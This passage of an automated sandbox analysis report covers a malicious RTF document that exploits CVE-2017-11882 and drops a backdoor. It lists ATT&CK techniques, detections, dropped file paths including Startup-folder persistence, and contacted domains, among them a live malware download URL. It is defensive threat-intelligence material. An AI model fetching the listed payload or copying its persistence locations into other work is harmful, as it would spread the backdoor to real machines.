Source: Yara match	File source: 00000037.00000002.2355316042.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2355374665.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Startup Items1	Startup Items1	Disable or Modify Tools11	OS Credential Dumping2	File and Directory Discovery12	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Registry Run Keys / Startup Folder321	Access Token Manipulation1	Obfuscated Files or Information1	LSASS Memory	System Information Discovery215	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Process Injection211	Timestomp1	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Encrypted Channel12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Registry Run Keys / Startup Folder321	Masquerading221	NTDS	Security Software Discovery331	Distributed Component Object Model	Clipboard Data1	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion251	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Access Token Manipulation1	Cached Domain Credentials	Virtualization/Sandbox Evasion251	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection211	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Hidden Files and Directories1	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Customer-unionroadwaysltd-8754-PO.doc__.rtf	18%	ReversingLabs	Win32.Exploit.CVE-2017-11882

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	13%	ReversingLabs	ByteCode-MSIL.Backdoor.Heracles
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	13%	ReversingLabs	ByteCode-MSIL.Backdoor.Heracles
C:\Users\user\AppData\Roaming\putty.exe	13%	ReversingLabs	ByteCode-MSIL.Backdoor.Heracles
C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	13%	ReversingLabs	ByteCode-MSIL.Backdoor.Heracles

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.	0%	URL Reputation	safe
http://apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	0%	URL Reputation	safe
https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837	0%	URL Reputation	safe
https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837	0%	URL Reputation	safe
https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://www.liverpool.com/all-about/premier-league	0%	URL Reputation	safe
https://www.liverpool.com/all-about/premier-league	0%	URL Reputation	safe
https://www.liverpool.com/all-about/premier-league	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/	0%	URL Reputation	safe
https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154	0%	URL Reputation	safe
https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154	0%	URL Reputation	safe
https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst	0%	URL Reputation	safe
https://reachplc.hub.loginradius.com"	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://s2-prod.liverpool.com	0%	URL Reputation	safe
https://s2-prod.liverpool.com	0%	URL Reputation	safe
https://s2-prod.liverpool.com	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837	0%	URL Reputation	safe
https://i2-prod.liverpool.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
apdocroto.gq	104.21.14.60	true	true	unknown
kf.carthage2s.com	41.231.5.212	true	true	unknown
api.telegram.org	149.154.167.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC3695.html	false	Avira URL Cloud: safe	unknown
http://apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334DE.html	false	Avira URL Cloud: safe	unknown
http://apdocroto.gq/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD2.html	false	Avira URL Cloud: safe	unknown
http://kf.carthage2s.com/log.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://c.amazon-adsystem.com/aax2/apstag.js	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/premier-league	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ads.pubmatic.com/AdServer/js/pwt/156997/3236/pwt.js	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false		high
http://www.windows.com/pctv.	powershell.exe, 00000008.00000002.2133894033.0000000002B40000.00000002.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://reachplc.hub.loginradius.com"	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://s2-prod.liverpool.com	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	powershell.exe, 00000004.00000002.2129147801.0000000002C37000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2132238983.0000000002EE7000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2134950894.0000000002D27000.00000002.00000001.sdmp, powershell.exe, 0000002A.00000002.2314009764.0000000002DA7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://felix.data.tm-awx.com/felix.min.js	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	powershell.exe, 00000004.00000002.2124390308.00000000020F0000.00000002.00000001.sdmp, powershell.exe, 00000006.00000002.2128414389.0000000002520000.00000002.00000001.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	powershell.exe, 00000004.00000003.2117899136.00000000003CA000.00000004.00000001.sdmp, powershell.exe, 00000006.00000003.2119429850.00000000005C0000.00000004.00000001.sdmp, powershell.exe, 00000008.00000003.2122071173.000000000043D000.00000004.00000001.sdmp, powershell.exe, 00000011.00000003.2130514478.000000000063C000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s180/0_Salah-Goal-vs-Leeds.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s270b/0_RobertsonCross1.jpg	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s458/0_GettyImages-1273716690.	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/ozan-kabak	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://s2-prod.mirror.co.uk/	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-02-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/champions-league	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/curtis-jones	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/steven-gerrard	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.piriform.com/ccleanerch.KS	powershell.exe, 00000008.00000003.2122112999.00000000003FC000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/liverpool-fc-news/features/liverpool-ozan-kabak-future-audition-19954616	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s458/1_WhatsApp-Image-2021-03-	putty.exe, 00000003.00000003.2093788455.00000000038F0000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
